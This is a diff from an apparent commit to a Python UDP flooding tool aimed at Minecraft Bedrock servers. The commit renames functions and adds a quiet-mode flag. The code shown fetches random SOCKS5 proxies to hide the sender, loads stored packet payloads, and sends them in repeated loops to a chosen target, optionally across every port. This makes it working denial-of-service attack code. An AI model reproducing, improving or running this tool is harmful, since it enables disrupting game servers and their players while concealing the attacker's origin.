99from api import get_udp_socket , log
1010
1111
12- def getProxy () -> list :
12+ def get_proxy () -> list :
1313 try :
14- log (f"Trying to get proxy data from api..." )
14+ log (f"Trying to get proxy data from api..." , quiet = quiet_mode )
1515 proxy_info = requests .get (
1616 f"https://www.proxyscan.io/api/proxy?last_check=3600&uptime=&ping=&limit=1&type=socks5&format=json&country={ proxyCountry } " ).json ()
1717 proxy_addr = proxy_info [0 ]['Ip' ]
1818 proxy_port = proxy_info [0 ]['Port' ]
1919 return proxy_addr , int (proxy_port )
2020 except :
2121 if not os .path .exists (r"socks5.txt" ):
22- log (f"Request api failed. Downloading proxy list..." )
22+ log (f"Request api failed. Downloading proxy list..." , quiet = quiet_mode )
2323 wget .download (
2424 "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt" )
2525 print ()
26- log (f"Proxy list downloaded!" )
26+ log (f"Proxy list downloaded!" , quiet = quiet_mode )
2727 with open ("socks5.txt" , "r" ) as file :
2828 socks_list = file .readlines ()
2929 random_index = random .randint (0 , len (socks_list ) - 1 )
@@ -32,12 +32,12 @@ def getProxy() -> list:
3232 return proxy_addr , int (proxy_port )
3333
3434
35- def createSocket ():
35+ def create_socket ():
3636 local_port = random .randint (1024 , 65535 )
3737 proxy_addr , proxy_port = None , None
3838 if proxy_used :
3939 udp_skt = socks .socksocket (socket .AF_INET , socket .SOCK_DGRAM )
40- proxy_addr , proxy_port = getProxy ()
40+ proxy_addr , proxy_port = get_proxy ()
4141 udp_skt .set_proxy (socks .SOCKS5 , proxy_addr , proxy_port )
4242 if proxy_used :
4343 log (f"Used proxy: { proxy_addr } :{ proxy_port } " )
@@ -49,21 +49,21 @@ def createSocket():
4949def send_pkt (target_addr : str , port : int , payload_file : str , loops : int , interval : float ):
5050 for i in range (loops ):
5151 try :
52- local_port , udp_skt = createSocket ()
52+ local_port , udp_skt = create_socket ()
5353 except :
5454 continue
5555 payloads = None
5656 try :
5757 payloads = marshal .load (open (payload_file , "rb" ))
5858 except :
59- log (f"Payload file { payload_file } not found!" )
59+ log (f"Payload file { payload_file } not found!" , quiet = quiet_mode )
6060 os ._exit (114514 )
6161 try :
6262 if is_display_motd :
6363 send_motd_pkt (target_addr , port )
6464 except :
6565 if is_display_motd :
66- log (f"Target server offline." )
66+ log (f"Target server offline." , quiet = quiet_mode )
6767 try :
6868 if port == "*" :
6969 for port in range (65535 ):
@@ -72,9 +72,9 @@ def send_pkt(target_addr: str, port: int, payload_file: str, loops: int, interva
7272 else :
7373 for line in payloads :
7474 udp_skt .sendto (line , (target_addr , int (port )))
75- log (f"Loop { i } done, used local port: { local_port } \n " )
75+ log (f"Loop { i } done, used local port: { local_port } \n " , quiet = quiet_mode )
7676 except :
77- log (f"Loop { i } error! Skip...\n " )
77+ log (f"Loop { i } error! Skip...\n " , quiet = quiet_mode )
7878 pass
7979 if i + 1 < loops :
8080 time .sleep (interval )
@@ -87,6 +87,7 @@ def send_pkt(target_addr: str, port: int, payload_file: str, loops: int, interva
8787 parser .add_argument ("-p" , "--port" , type = int , default = 19132 , help = "Port (Number)" )
8888 parser .add_argument ("-l" , "--loops" , type = int , default = 1 , help = "Loops (Number)" )
8989 parser .add_argument ("-i" , "--interval" , type = float , default = 10 , help = "Interval (sec)" )
90+ parser .add_argument ("-q" , "--quiet" , action = "store_true" , default = False , help = "Quiet mode. no output" )
9091 parser .add_argument ("-d" , "--display_motd" , action = "store_true" , default = False , help = "Display Motd" )
9192 parser .add_argument ("-pu" , "--proxy_used" , action = "store_true" , default = False , help = "Use Proxy" )
9293 parser .add_argument ("-pc" , "--proxy_country" , type = str , default = "us" , help = "ProxyCountry (like cn, ru, us or enter to use all)" )
@@ -98,6 +99,7 @@ def send_pkt(target_addr: str, port: int, payload_file: str, loops: int, interva
9899 loops = args .loops
99100 interval = args .interval
100101 is_display_motd = args .display_motd
102+ quiet_mode = args .quiet
101103 proxy_used = args .proxy_used
102104 proxyCountry = args .proxy_country
103105
0 commit comments